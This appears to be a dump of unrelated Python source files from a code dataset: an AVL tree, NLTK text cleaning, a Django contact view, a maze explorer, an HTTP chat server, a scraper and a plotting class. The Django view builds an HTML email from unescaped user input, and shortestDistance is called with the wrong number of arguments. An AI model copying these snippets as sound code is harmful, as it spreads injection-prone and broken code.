nv_node.venstre_barn = t2\n if t2 is not None:\n t2.forelder = nv_node\n nv_node.hoyde = max(self.hoyde(nv_node.venstre_barn), self.hoyde(nv_node.hoyre_barn))+1\n\n def enkel_hoyre_rotasjon(self, nv_node):\n if nv_node.forelder is None:\n self.rot = nv_node.hoyre_barn\n nv_node.hoyre_barn.forelder = None\n else:\n nv_node.hoyre_barn.forelder = nv_node.forelder\n if nv_node.forelder.venstre_barn == nv_node:\n nv_node.forelder.venstre_barn = nv_node.hoyre_barn\n else:\n nv_node.forelder.hoyre_barn = nv_node.hoyre_barn\n t2 = nv_node.hoyre_barn.venstre_barn\n nv_node.hoyre_barn.venstre_barn = nv_node\n nv_node.forelder = nv_node.hoyre_barn\n nv_node.hoyre_barn = t2\n if t2 is not None:\n t2.forelder = nv_node\n nv_node.hoyde = max(self.hoyde(nv_node.venstre_barn), self.hoyde(nv_node.hoyre_barn))+1\n\n def hoyde(self, node):\n if node is None:\n return 0\n return node.hoyde\n\n def __setitem__(self, key, value):\n self.put(key, value)\n\n # Kjøretid O(høyden til treet)\n def finn_node(self, nokkel):\n if self.rot is None:\n return None\n nv_node = self.rot\n ferdig = False\n while not ferdig:\n if nokkel == nv_node.nokkel:\n ferdig = True\n return nv_node\n if nokkel < nv_node.nokkel:\n if nv_node.venstre_barn is None:\n return None\n else:\n nv_node = nv_node.venstre_barn\n else: # nokkel > nv_node.nokkel\n if nv_node.hoyre_barn is None:\n return None\n else:\n nv_node = nv_node.hoyre_barn\n\n # Henter ut verdien for oppgitt nøkkel\n #\n # Kjøretid O(høyden til treet)\n def get(self, nokkel):\n noden = self.finn_node(nokkel)\n if noden is None:\n raise KeyError(f\"Finner ikke nøkkelen {nokkel}\")\n return noden.verdi\n\n def __getitem__(self, key):\n return self.get(key)\n\n # Fjerner en nøkkel fra map-et. Fjerner også verdien.\n #\n # Finn node: O(høyden til treet)\n def delete(self, nokkel):\n if self.rot is None:\n return\n noden = self.finn_node(nokkel)\n if noden.er_bladnode():\n if noden.forelder is None:\n self.rot = None\n elif noden.forelder.venstre_barn == noden: # Er denne noden venstre barnet til forelderen\n noden.forelder.venstre_barn = None\n else:\n noden.forelder.hoyre_barn = None\n self.vedlikehold_hoydeinfo(noden.forelder)\n noden.forelder = None\n elif noden.venstre_barn is not None and noden.hoyre_barn is None:\n if noden.forelder is None:\n self.rot = noden.venstre_barn\n elif noden.forelder.venstre_barn == noden:\n noden.forelder.venstre_barn = noden.venstre_barn\n else:\n noden.forelder.hoyre_barn = noden.venstre_barn\n noden.venstre_barn.forelder = noden.forelder\n self.vedlikehold_hoydeinfo(noden.forelder)\n noden.forelder = None\n elif noden.venstre_barn is None and noden.hoyre_barn is not None:\n if noden.forelder is None:\n self.rot = noden.hoyre_barn\n elif noden.forelder.venstre_barn == noden:\n noden.forelder.venstre_barn = noden.hoyre_barn\n else:\n noden.forelder.hoyre_barn = noden.hoyre_barn\n noden.hoyre_barn.forelder = noden.forelder\n self.vedlikehold_hoydeinfo(noden.forelder)\n noden.forelder = None\n else:\n ny_node = self.finn_hoyeste_barn(noden.venstre_barn)\n self.delete(ny_node.nokkel)\n noden.nokkel = ny_node.nokkel\n noden.verdi = ny_node.verdi\n\n def finn_hoyeste_barn(self, node):\n nv_node = node\n while nv_node.hoyre_barn is not None:\n nv_node = nv_node.hoyre_barn\n return nv_node\n\n # Finnes nøkkelen i samlingen?\n #\n # Kjøretid O(høyden til treet)\n def contains(self, nokkel):\n noden = self.finn_node(nokkel)\n if noden is None:\n return False\n return True\n\n def __contains__(self, nokkel):\n return self.contains(nokkel)\n\n # Hent første nøkkel som er større enn oppgitt nøkkel hvis det fins en slik\n #\n # Kjøretid O(høyden til treet)\n def next(self, nokkel):\n if self.rot is None:\n return None\n nv_node = self.rot\n ferdig = False\n verdi = None\n while not ferdig:\n if nokkel < nv_node.nokkel:\n verdi = nv_node.nokkel\n if nv_node.venstre_barn is None:\n return verdi\n else:\n nv_node = nv_node.venstre_barn\n if nokkel >= nv_node.nokkel:\n if nv_node.hoyre_barn is None:\n return verdi\n else:\n nv_node = nv_node.hoyre_barn\n\n # Hent ut første nøkkel som er mindre\n #\n # Kjøretid O(høyden til treet)\n def previous(self, nokkel):\n if self.rot is None:\n return None\n nv_node = self.rot\n ferdig = False\n verdi = None\n while not ferdig:\n if nokkel > nv_node.nokkel:\n verdi = nv_node.nokkel\n if nv_node.hoyre_barn is None:\n return verdi\n else:\n nv_node = nv_node.hoyre_barn\n if nokkel <= nv_node.nokkel:\n if nv_node.venstre_barn is None:\n return verdi\n else:\n nv_node = nv_node.venstre_barn\n\n # Hent ut den laveste nøkkelen\n #\n # Kjøretid O(høyden til treet)\n def first(self):\n nv_node = self.rot\n while nv_node.venstre_barn is not None:\n nv_node = nv_node.venstre_barn\n return nv_node.nokkel\n\n # Hent ut den høyeste nøkkelen\n #\n # Kjøretid O(høyden til treet)\n def last(self):\n nv_node = self.finn_hoyeste_barn(self.rot)\n return nv_node.nokkel\n\n # Hent ut alle nøkler mellom to oppgitte nøkler\n def between(self, forste, siste):\n if self.rot is None:\n return None\n nv_node = self.rot\n ferdig = False\n node = None\n while not ferdig:\n if forste < nv_node.nokkel:\n node = nv_node\n if nv_node.venstre_barn is None:\n break\n else:\n nv_node = nv_node.venstre_barn\n if forste >= nv_node.nokkel:\n if nv_node.hoyre_barn is None:\n break\n else:\n nv_node = nv_node.hoyre_barn\n resultater = []\n iterator = BinaertSoketreIterator(self, node)\n nokkel = node.nokkel\n try:\n while nokkel < siste:\n nokkel = iterator.__next__()\n if nokkel >= siste:\n break\n resultater.append(nokkel)\n except StopIteration:\n pass\n return resultater\n\n\n # Finn det k-ende elementet, Selection problemet\n #\n # Starte iteratoren: O(høyden til treet)\n # Gå k hakk: O(k*høyden til treet)\n def finn_k_ende(self, k):\n iterator = self.__iter__()\n nokkel = None\n try:\n for i in range(k):\n nokkel = iterator.__next__()\n except StopIteration:\n return None\n return nokkel\n\n def __iter__(self):\n return BinaertSoketreIterator(self)\n\n\nclass BinaertSoketreIterator:\n def __init__(self, treet, startnode=None):\n if startnode is None:\n self.nv_node = treet.rot\n while self.nv_node.venstre_barn is not None:\n self.nv_node = self.nv_node.venstre_barn\n else:\n self.nv_node = startnode\n\n def __next__(self):\n if self.nv_node is None:\n raise StopIteration\n nokkelen = self.nv_node.nokkel\n if self.nv_node.hoyre_barn is not None:\n self.nv_node = self.nv_node.hoyre_barn\n while self.nv_node.venstre_barn is not None:\n self.nv_node = self.nv_node.venstre_barn\n else:\n while self.nv_node.forelder is not None and self.nv_node == self.nv_node.forelder.hoyre_barn:\n self.nv_node = self.nv_node.forelder\n if self.nv_node.forelder is None:\n self.nv_node = None\n else:\n self.nv_node = self.nv_node.forelder\n return nokkelen\n\n def __iter__(self):\n return self\n\n\nif __name__ == \"__main__\":\n # studentliste = std.lag_student_liste()\n # map = AVLTre()\n # for student in studentliste:\n # map.put(student.get_etternavn(), student)\n # print()\n # for student in map:\n # print(student)\n # map.skriv_treemap()\n # print()\n # print(map.get(\"Vik\"))\n # print(map.get(\"Nilsen\"))\n # print()\n # print(map.contains(\"Herrem\"))\n # print(map.contains(\"Tøssebro\"))\n # print()\n # print(map.next(\"E\"))\n # print(map.previous(\"E\"))\n # print()\n # print(map.finn_k_ende(3))\n # print()\n # print(map.between(\"F\", \"O\"))\n # map.delete(\"Nilsen\")\n # map.skriv_treemap()\n # for student in map:\n # print(student)\n # print()\n # print(map.get(\"Ytrebø\"))\n # print(map.get(\"Hansen\"))\n # print()\n # map.delete(\"Hansen\")\n # map.skriv_treemap()\n # for student in map:\n # print(student)\n # print()\n # print(map.get(\"Ytrebø\"))\n # print(map.get(\"Erlingsen\"))\n # print()\n map = AVLTre()\n map[20] = 20\n map[15] = 15\n map[30] = 30\n map[25] = 25\n map[34] = 34\n map[3] = 3\n map[32] = 32\n map[18] = 18\n map[10] = 10\n map[17] = 17\n map[22] = 22\n map.skriv_treemap()\n map[21] = 21\n map[5] = 5\n map.skriv_treemap()\n","sub_path":"6_trer/avl_tre.py","file_name":"avl_tre.py","file_ext":"py","file_size_in_byte":14173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"568786997","text":"# ALl the cleaning functions and utility that will be of used for us in the notebook.\nimport re\nimport unicodedata\n\nimport contractions\nimport inflect\nfrom nltk.corpus import stopwords\nfrom nltk.stem import LancasterStemmer, WordNetLemmatizer\n\n\n# De-noise function\n# Remove html links\ndef remove_between_square_brackets(text):\n \"\"\"Remove anything between brackets\"\"\"\n return re.sub('\\[[^]]*\\]', '', text)\n\n\n# Remove http links\ndef remove_links(text):\n \"\"\"Remove http links in the text\"\"\"\n return re.sub('(https\\S+|http\\S+)', '', text)\n\n\n# Replace contraction at this point will save us quite a bit of time later on\ndef replace_contractions(text):\n \"\"\"Replace contractions in string of text\"\"\"\n return contractions.fix(text)\n\n\n# De-noise the text\ndef denoise_text(text):\n text = remove_between_square_brackets(text)\n text = remove_links(text)\n text = replace_contractions(text)\n return text\n\n\n# Normalize functions\ndef remove_non_ascii(words):\n \"\"\"Remove non-ASCII characters from list of tokenized words\"\"\"\n new_words = []\n for word in words:\n new_word = unicodedata.normalize('NFKD', word).encode('ascii', 'ignore').decode('utf-8', 'ignore')\n new_words.append(new_word)\n return new_words\n\n\ndef to_lowercase(words):\n \"\"\"Convert all characters to lowercase from list of tokenized words\"\"\"\n new_words = []\n for word in words:\n new_word = word.lower()\n new_words.append(new_word)\n return new_words\n\n\ndef remove_punctuation(words):\n \"\"\"Remove punctuation from list of tokenized words\"\"\"\n new_words = []\n for word in words:\n new_word = re.sub(r'[^\\w\\s]', '', word)\n if new_word != '':\n new_words.append(new_word)\n return new_words\n\n\ndef replace_numbers(words):\n \"\"\"Replace all integer occurrences in list of tokenized words with textual representation\"\"\"\n p = inflect.engine()\n new_words = []\n for word in words:\n if word.isdigit():\n new_word = p.number_to_words(word)\n new_words.append(new_word)\n else:\n new_words.append(word)\n return new_words\n\n\ndef remove_stopwords(words):\n \"\"\"Remove stop words from list of tokenized words\"\"\"\n new_words = []\n for word in words:\n if word not in stopwords.words('english'):\n new_words.append(word)\n return new_words\n\n\ndef stem_words(words):\n \"\"\"Stem words in list of tokenized words\"\"\"\n stemmer = LancasterStemmer()\n stems = []\n for word in words:\n stem = stemmer.stem(word)\n stems.append(stem)\n return stems\n\n\ndef lemmatize_verbs(words):\n \"\"\"Lemmatize verbs in list of tokenized words\"\"\"\n lemmatizer = WordNetLemmatizer()\n lemmas = []\n for word in words:\n lemma = lemmatizer.lemmatize(word, pos='v')\n lemmas.append(lemma)\n return lemmas\n\n\ndef normalize(words):\n words = remove_non_ascii(words)\n words = to_lowercase(words)\n words = remove_punctuation(words)\n # words = replace_numbers(words)\n words = remove_stopwords(words)\n return words\n\n\n# Stemming and Lemmatize\ndef stem_and_lemmatize(words):\n stems = stem_words(words)\n lemmas = lemmatize_verbs(words)\n return stems, lemmas\n","sub_path":"words_clean_function.py","file_name":"words_clean_function.py","file_ext":"py","file_size_in_byte":3208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"371291329","text":"from django.shortcuts import render\nfrom django.core.mail import send_mail, BadHeaderError\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.conf import settings\n\n# Create your views here.\n\ndef index(request):\n return render(request, 'home.html')\n\ndef contact(request):\n subject = request.POST.get('subject', '')\n name = request.POST.get('name', '')\n message = request.POST.get('message', '')\n from_email = request.POST.get('email', '')\n if subject and message and from_email:\n html_body = (\n \"

Mensaje desde EL-Electric.net

\"\n \"
\"\n \"

\" + name + \" - \" + from_email + \"

\"\n \"

\" + subject + \"

\"\n \"
\"\n \"

\" + message + \"

\"\n )\n try:\n send_mail(subject, message, settings.DEFAULT_FROM_EMAIL,\n ['edos21@gmail.com', \"edgarironman@gmail.com\"], html_message=html_body\n )\n except BadHeaderError:\n return HttpResponse('Invalid header found.')\n return HttpResponseRedirect('/?send-mail')\n else:\n # In reality we'd use a form class\n # to get proper validation errors.\n return HttpResponse('Make sure all fields are entered and valid.')","sub_path":"apps/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"361447559","text":"from room import Room\nfrom player import Player\nfrom world import World\n\nimport random\nfrom ast import literal_eval\n\n# Load world\nworld = World()\n\n\n# You may uncomment the smaller graphs for development and testing purposes.\n# map_file = \"maps/test_line.txt\"\n# map_file = \"maps/test_cross.txt\"\n# map_file = \"maps/test_loop.txt\"\n# map_file = \"maps/test_loop_fork.txt\"\nmap_file = \"maps/main_maze.txt\"\n\n# Loads the map into a dictionary\nroom_graph = literal_eval(open(map_file, \"r\").read())\nworld.load_graph(room_graph)\n\n# Print an ASCII map\n# world.print_rooms()\n\nplayer = Player(world.starting_room)\n\n# Our map for navigating the world\nnav_graph = {}\nnav_visited = set()\n\n\ndef reverse_dir(dir):\n \"\"\"\n Takes a compass direction 'n', 's', 'e', 'w'\n and returns its ordinal opposite direction.\n (Helper function.)\n \"\"\"\n if dir == 'n':\n return 's'\n if dir == 's':\n return 'n'\n if dir == 'w':\n return 'e'\n if dir == 'e':\n return 'w'\n\n\ndef explore(player, from_room=None, from_dir=None):\n \"\"\"\n Main auto-play navigation function. Recursive.\n Does a DFT of entire maze until all rooms have been visited.\n \"\"\"\n room_id = player.current_room.id\n exits = player.current_room.get_exits()\n\n # Are we in a new room?\n if room_id not in nav_graph:\n nav_visited.add(room_id)\n nav_graph[room_id] = {}\n for direction in exits:\n nav_graph[room_id].update({direction: '?'})\n\n # Where did we come from? Mark it in the nav_graph.\n if from_room != None:\n nav_graph[room_id].update({from_dir: from_room})\n # Don't forget to update the previous room:\n nav_graph[from_room].update({reverse_dir(from_dir): room_id})\n\n if len(nav_graph) == len(room_graph):\n # All rooms successfully visited!\n return\n\n # print(\"Room \", room_id, \" = \", nav_graph[room_id])\n\n # TODO: Loop Optimization\n # TODO: Make code DRY\n\n # Start by going North, if possible\n # if 'n' in player.current_room.get_exits():\n if nav_graph[room_id].get('n') == '?':\n player.travel('n')\n traversal_path.append('n')\n explore(player, room_id, reverse_dir('n'))\n\n # When we can't go North anymore, try West next.\n if nav_graph[room_id].get('w') == '?':\n player.travel('w')\n traversal_path.append('w')\n explore(player, room_id, reverse_dir('w'))\n\n if len(nav_graph) == len(room_graph):\n return\n\n # When we can't go West anymore, try South.\n if nav_graph[room_id].get('s') == '?':\n player.travel('s')\n traversal_path.append('s')\n explore(player, room_id, reverse_dir('s'))\n\n if len(nav_graph) == len(room_graph):\n return\n\n # Finally, try East.\n if nav_graph[room_id].get('e') == '?':\n player.travel('e')\n traversal_path.append('e')\n explore(player, room_id, reverse_dir('e'))\n\n if len(nav_graph) == len(room_graph):\n return\n\n # All options have been exhausted. Head back...\n if from_dir != None:\n player.travel(from_dir)\n # Don't forget to record our trip back!\n traversal_path.append(from_dir)\n\n return\n\n\n# Fill this out with directions to walk\ntraversal_path = []\n\n# Auto-play (find all nodes of the maze)\nexplore(player)\n\n\n# TRAVERSAL TEST - DO NOT MODIFY\nvisited_rooms = set()\nplayer.current_room = world.starting_room\nvisited_rooms.add(player.current_room)\n\nfor move in traversal_path:\n player.travel(move)\n visited_rooms.add(player.current_room)\n\nif len(visited_rooms) == len(room_graph):\n print(\n f\"TESTS PASSED: {len(traversal_path)} moves, {len(visited_rooms)} rooms visited\")\nelse:\n print(\"TESTS FAILED: INCOMPLETE TRAVERSAL\")\n print(f\"{len(room_graph) - len(visited_rooms)} unvisited rooms\")\n\n\n#######\n# UNCOMMENT TO WALK AROUND\n#######\nplayer.current_room.print_room_description(player)\nwhile True:\n cmds = input(\"-> \").lower().split(\" \")\n if cmds[0] in [\"n\", \"s\", \"e\", \"w\"]:\n player.travel(cmds[0], True)\n elif cmds[0] == \"q\":\n break\n else:\n print(\"I did not understand that command.\")\n","sub_path":"adv.py","file_name":"adv.py","file_ext":"py","file_size_in_byte":4118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"392682443","text":"import json\nimport os\nimport posixpath\nimport socketserver\nfrom datetime import datetime\nfrom http import HTTPStatus\nfrom http.cookies import SimpleCookie\nfrom http.server import HTTPServer, SimpleHTTPRequestHandler\nfrom time import time\nfrom urllib.parse import unquote\nfrom uuid import uuid4\n\nfrom passlib.context import CryptContext\n\nfrom backend import errors\nfrom backend.db import Channel, Cookie, Message, User\n\ncontext = CryptContext(\n schemes=[\"argon2\", \"bcrypt_sha256\", \"scrypt\"],\n default=\"argon2\"\n)\n\n\nclass Handler(SimpleHTTPRequestHandler):\n requires_login = [\n '/chat.html'\n ]\n\n def __init__(self, *args, directory: str = None, **kwargs):\n if directory is None:\n directory = os.getcwd()\n self.directory = directory\n\n self._cookie = None\n\n super().__init__(*args, **kwargs)\n\n @property\n def cookie(self) -> SimpleCookie:\n if self._cookie is None:\n self._cookie = SimpleCookie(self.headers.get('Cookie', ''))\n return self._cookie\n\n def redirect(self, location, *, code=HTTPStatus.MOVED_PERMANENTLY):\n self.send_response(code)\n self.send_header('Location', location)\n\n def success_login(self, user: User):\n session_id = str(uuid4())\n now = time()\n cookie = Cookie(\n session_id=session_id,\n created=datetime.fromtimestamp(now),\n user=user\n )\n cookie.save()\n\n self.cookie['session_id'] = session_id\n self.cookie['session_id']['path'] = '/'\n self.cookie['session_id']['max-age'] = 3600\n self.cookie['session_id']['expires'] = self.date_time_string(now + 3600)\n self.send_header('Set-Cookie', self.cookie['session_id'].OutputString())\n\n @property\n def is_logged_in(self) -> bool:\n session_id = self.cookie.get('session_id')\n\n # No session_id header, not logged in\n if session_id is None:\n return False\n\n # Session id exists - see if it's saved in DB\n try:\n Cookie.objects.get(session_id=session_id.value)\n except Cookie.DoesNotExist: # session id has expired somehow or is invalid\n return False\n else:\n return True\n\n def get_form(self, fields=()) -> dict:\n size = self.headers.get('Content-Length')\n\n data = self.rfile.read(int(size))\n data = json.loads(data)\n\n if not all(field in data for field in fields):\n raise ValueError('Must have all of the following: {}'.format(', '.join(fields)))\n\n return data\n\n def get_logged_in_user(self):\n session_id = self.cookie.get('session_id')\n if session_id is None:\n raise errors.LoginError('Must be logged in.')\n\n cookie = Cookie.objects.get(session_id=session_id.value)\n return cookie.user\n\n @staticmethod\n def login(form: dict):\n try:\n user = User.objects.get(username=form['username'])\n except User.DoesNotExist:\n raise errors.LoginError('That username does not exist.')\n\n if not context.verify(form['password'], user.password):\n raise errors.LoginError('Invalid password.')\n\n return user\n\n def logout(self):\n self.cookie['session_id'] = ''\n self.cookie['session_id']['path'] = '/'\n self.cookie['session_id']['max-age'] = -1\n self.cookie['session_id']['expires'] = self.date_time_string(0)\n self.send_header('Set-Cookie', self.cookie['session_id'].OutputString())\n\n @staticmethod\n def signup(form: dict):\n try:\n User.objects.get(username=form['username'])\n except User.DoesNotExist:\n pass\n else:\n raise errors.SignupError('An username with that name already exists.')\n\n try:\n user = User(\n username=form['username'],\n email=form['email'],\n password=context.hash(form['password'])\n )\n except Exception as e:\n # ???\n print(str(e))\n else:\n user.save()\n\n def translate_path(self, path: str) -> str:\n path, *_ = path.split('?', 1)\n path, *_ = path.split('#', 1)\n path = path.strip()\n\n path = posixpath.normpath(unquote(path))\n words = [part for part in path.split('/') if part]\n\n trailing_slash = path.endswith('/')\n\n path = self.directory\n\n for word in words:\n if os.path.dirname(word) or word in ('.', '..'):\n continue\n path = os.path.join(path, word)\n\n return path + '/' * trailing_slash\n\n def send_message(self, channel_id: str, form: dict):\n user = self.get_logged_in_user()\n\n message = Message(\n message_id=time() * 1000,\n content=form['content'],\n author=user\n )\n message.save()\n\n try:\n channel = Channel.objects.get(channel_id=int(channel_id))\n except Channel.DoesNotExist:\n return self.send_status(HTTPStatus.NOT_FOUND, 'Channel not found.')\n\n if user not in channel.users:\n return self.send_status(HTTPStatus.UNAUTHORIZED)\n\n channel.messages.append(message)\n channel.save()\n\n self.send_status(HTTPStatus.OK)\n\n def delete_message(self, channel_id: str, form: dict):\n user = self.get_logged_in_user()\n\n channel = Channel.objects.get(channel_id=int(channel_id))\n message_id = int(form['message_id'])\n\n for message in reversed(channel.messages):\n if message.message_id == message_id:\n if message.author != user:\n return self.send_status(HTTPStatus.UNAUTHORIZED)\n message.content = 'This message was deleted.'\n message.deleted = True\n message.deleted_on = time() * 1000\n message.save()\n return self.send_status(HTTPStatus.OK)\n else:\n return self.send_status(HTTPStatus.NOT_FOUND)\n\n def new_messages(self, channel_id: int):\n user = self.get_logged_in_user()\n latest = user.latest_update\n\n if latest is None:\n latest = 0\n\n try:\n messages = Channel.objects.get(channel_id=channel_id).messages\n except Channel.DoesNotExist:\n return self.send_status(HTTPStatus.NOT_FOUND, 'No channel with that ID')\n\n out = []\n for message in sorted(messages[-40:], key=lambda m: m.message_id):\n if message.message_id > latest or message.deleted_on > latest:\n out.append({\n 'id': message.message_id,\n 'content': message.content,\n 'author': message.author.username,\n 'date': '{:%d.%m %H:%M}'.format(message.correct_time),\n 'deleted': message.deleted\n })\n user.latest_update = max(user.latest_update, message.deleted_on, message.message_id)\n\n user.save()\n messages = json.dumps(out)\n\n self.send_status(HTTPStatus.OK)\n self.wfile.write(messages.encode())\n\n def create_channel(self, form: dict):\n user = self.get_logged_in_user()\n channel = Channel(\n name=form['name'],\n messages=[],\n users=[user]\n )\n channel.save()\n\n def add_user_to_channel(self, channel_id, form: dict):\n author = self.get_logged_in_user()\n channel = Channel.objects.get(channel_id=channel_id)\n\n if author not in channel.users:\n return self.send_status(HTTPStatus.UNAUTHORIZED)\n try:\n user = User.objects.get(username=form['username'])\n except User.DoesNotExist:\n return self.send_status(HTTPStatus.NOT_FOUND, 'That user does not exist.')\n\n channel.users.append(user)\n channel.save()\n self.send_status(HTTPStatus.OK)\n\n def send_me(self):\n user = self.get_logged_in_user()\n data = {\n 'username': user.username,\n 'email': user.email\n }\n\n msg = json.dumps(data)\n self.send_status(HTTPStatus.OK)\n self.wfile.write(msg.encode())\n\n @staticmethod\n def get_channels(user: User) -> str:\n channels = Channel.objects(users__in=[user])\n\n data = []\n for channel in channels:\n inner = {\n 'users': [user.username for user in channel.users],\n 'id': channel.channel_id,\n 'name': channel.name,\n 'messages': []\n }\n data.append(inner)\n\n for message in sorted(channel.messages, key=lambda msg: msg.message_id)[-40:]:\n inner['messages'].append({\n 'author': message.author.username,\n 'content': message.content,\n 'id': message.message_id,\n 'date': '{:%d.%m %H:%M}'.format(message.correct_time),\n 'deleted': message.deleted\n })\n return json.dumps(data)\n\n def send_status(self, code=HTTPStatus.BAD_REQUEST, message=None):\n self.send_response(code, message=message)\n self.end_headers()\n\n def do_POST(self):\n if self.path.startswith('/channels/'):\n if not self.is_logged_in:\n return self.send_status(HTTPStatus.UNAUTHORIZED)\n\n endpoint = self.path[len('/channels/'):]\n channel_id, sep, endpoint = endpoint.partition('/')\n\n if channel_id == 'create':\n try:\n form = self.get_form(fields=['name'])\n except ValueError as e:\n return self.send_status(HTTPStatus.BAD_REQUEST, str(e))\n else:\n self.create_channel(form)\n return self.send_status(HTTPStatus.OK)\n elif channel_id == 'get':\n user = self.get_logged_in_user()\n data = self.get_channels(user)\n self.send_status(HTTPStatus.OK)\n self.wfile.write(data.encode())\n return\n\n if not sep:\n return self.send_status()\n\n if endpoint == 'sendmessage':\n try:\n form = self.get_form(fields=['content'])\n except ValueError as e:\n return self.send_status(HTTPStatus.BAD_REQUEST, str(e))\n self.send_message(channel_id, form)\n elif endpoint == 'deletemessage':\n try:\n form = self.get_form(fields=['message_id'])\n except ValueError as e:\n return self.send_status(HTTPStatus.BAD_REQUEST, str(e))\n self.delete_message(channel_id, form)\n elif endpoint == 'getupdates':\n self.new_messages(int(channel_id))\n elif endpoint == 'adduser':\n try:\n form = self.get_form(fields=['username'])\n except ValueError as e:\n return self.send_status(HTTPStatus.BAD_REQUEST, str(e))\n self.add_user_to_channel(int(channel_id), form)\n else:\n self.send_status(HTTPStatus.BAD_REQUEST)\n elif self.path in ('/login', '/login/'):\n form = self.get_form(fields=['username', 'password'])\n\n try:\n user = self.login(form)\n except errors.LoginError as e:\n self.send_response(HTTPStatus.BAD_REQUEST, str(e))\n self.end_headers()\n else:\n self.redirect('/chat.html')\n self.success_login(user)\n self.end_headers()\n elif self.path in ('/register', '/register/'):\n try:\n form = self.get_form(fields=['username', 'email', 'password'])\n except ValueError as e:\n return self.send_status(HTTPStatus.BAD_REQUEST, str(e))\n\n try:\n self.signup(form)\n except errors.SignupError as e:\n self.send_error(HTTPStatus.BAD_REQUEST, str(e))\n else:\n # TODO\n self.redirect('/authenticate.html')\n self.end_headers()\n elif self.path in ('/me', '/me/'):\n try:\n self.send_me()\n except errors.LoginError as e:\n self.send_status(HTTPStatus.UNAUTHORIZED, str(e))\n elif self.path in ('/logout', '/logout/'):\n self.redirect('/authenticate.html')\n self.logout()\n self.end_headers()\n else:\n self.send_status()\n\n def do_GET(self):\n if self.path == '/authenticate.html' and self.is_logged_in:\n self.redirect('/chat.html')\n self.end_headers()\n return\n elif self.path in self.requires_login and not self.is_logged_in:\n self.redirect('/authenticate.html')\n self.end_headers()\n return\n else:\n super().do_GET()\n\n\nclass ThreadedServer(socketserver.ThreadingMixIn, HTTPServer):\n daemon_threads = True\n","sub_path":"backend/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":13154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"531315277","text":"#-*- coding: utf-8 -*-\r\n# @Time : 2018/12/7 0007 15:24\r\n# @Author : zhyipeng\r\n# @File : p_and_c.py\r\nimport threading\r\nimport logging\r\nfrom movie.models import *\r\n\r\n\r\nlog = logging.getLogger('inf')\r\n\r\nclass Producer(threading.Thread):\r\n '''向影院队列插数据'''\r\n def __init__(self, data, cinema_qu, *args, **kwargs):\r\n '''\r\n\r\n :param data: [(id, name)]\r\n :param cinema_qu:\r\n :param args:\r\n :param kwargs:\r\n '''\r\n super(Producer, self).__init__(*args, **kwargs)\r\n self.cinema_qu = cinema_qu\r\n self.data = data\r\n\r\n\r\n def run(self):\r\n for data in self.data:\r\n self.cinema_qu.put(data)\r\n\r\n\r\nclass Consumer(threading.Thread):\r\n '''爬虫'''\r\n def __init__(self, spider, cinema_qu, schedule_qu, *args, **kwargs):\r\n super(Consumer, self).__init__(*args, **kwargs)\r\n self.cinema_qu = cinema_qu\r\n self.schedule_qu = schedule_qu\r\n self.spider = spider\r\n\r\n def run(self):\r\n while 1:\r\n if self.cinema_qu.empty():\r\n break\r\n c_id, name = self.cinema_qu.get()\r\n schedule_list = self.spider.get_cinema_schedule(c_id)\r\n for sche in schedule_list:\r\n sche['cinema'] = name\r\n self.schedule_qu.put(sche)\r\n\r\nclass Consumer2(threading.Thread):\r\n '''存入数据库'''\r\n def __init__(self, schedule_queue, *args, **kwargs):\r\n super(Consumer2, self).__init__(*args, **kwargs)\r\n self.schedule_queue = schedule_queue\r\n\r\n def run(self):\r\n while 1:\r\n if self.schedule_queue.empty():\r\n break\r\n self.save_schedule(self.schedule_queue.get())\r\n\r\n\r\n def save_schedule(self, schedule):\r\n '''\r\n 保存入库\r\n :param schedule:\r\n :return:\r\n '''\r\n date = schedule['date']\r\n start_time = schedule['start_time']\r\n end_time = schedule['end_time']\r\n language = schedule['language']\r\n hall = schedule['hall']\r\n try:\r\n price = float(schedule['price'])\r\n except:\r\n price = 0\r\n cinema = schedule['cinema']\r\n movie_name = schedule['movie']\r\n source_id = schedule['source']\r\n movie = Movie.objects.filter(name=movie_name).first()\r\n if movie is None:\r\n return\r\n try:\r\n Schedule.objects.get_or_create(date=date, start_time=start_time, end_time=end_time, language=language,\r\n hall=hall, price=price, cinema=cinema, movie_id=movie.id,\r\n source_id=source_id)\r\n except:\r\n return\r\n log.info('%s\\t%s\\t%s\\t%s\\t%s\\t已更新' % (date, start_time, movie_name, cinema, source_id))\r\n","sub_path":"lib/p_and_c.py","file_name":"p_and_c.py","file_ext":"py","file_size_in_byte":2807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"167185114","text":"def shortestDistance(self, words, word1, word2):\n idx1 = -1\n idx2 = -1\n minDist = len(words)\n for wordIdx in range(len(words)):\n if words[wordIdx] == word1:\n idx1 = wordIdx\n elif words[wordIdx] == word2:\n idx2 = wordIdx\n \n if idx1 != -1 and idx2 != -1:\n minDist = min(minDist, abs(idx1 - idx2))\n return minDist\n\n\nprint(shortestDistance([\"a\",\"c\",\"b\",\"a\"],\"a\",\"b\"))","sub_path":"Arrays&Strings/shortestDistance.py","file_name":"shortestDistance.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"301790718","text":"#import the relevant libraries\nfrom IPython import get_ipython\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\nimport seaborn as sns\nsns.set()\n\n#import Class Barplot\nfrom .Barplot import Barplot\n\n#make a vertical barplot class which inherits from Barplot\nclass Verticalbar(Barplot):\n \"\"\"\n Vertical bar chart class for plotting vertical bar charts that look nice\n \"\"\"\n \n #define the __init__\n def __init__(self):\n Barplot.__init__(self, x_values, y_values, x_label, chart_title, fig_width=10, fig_height=6)\n \n \n #generic function for plotting bar charts which look decent too\n #src: https://scentellegher.github.io/visualization/2018/10/10/beautiful-bar-plots-matplotlib.html\n def create_bar_v_plot(self):\n \"\"\"\n Function for creating nice looking bar charts with vertical figs\n To be stored 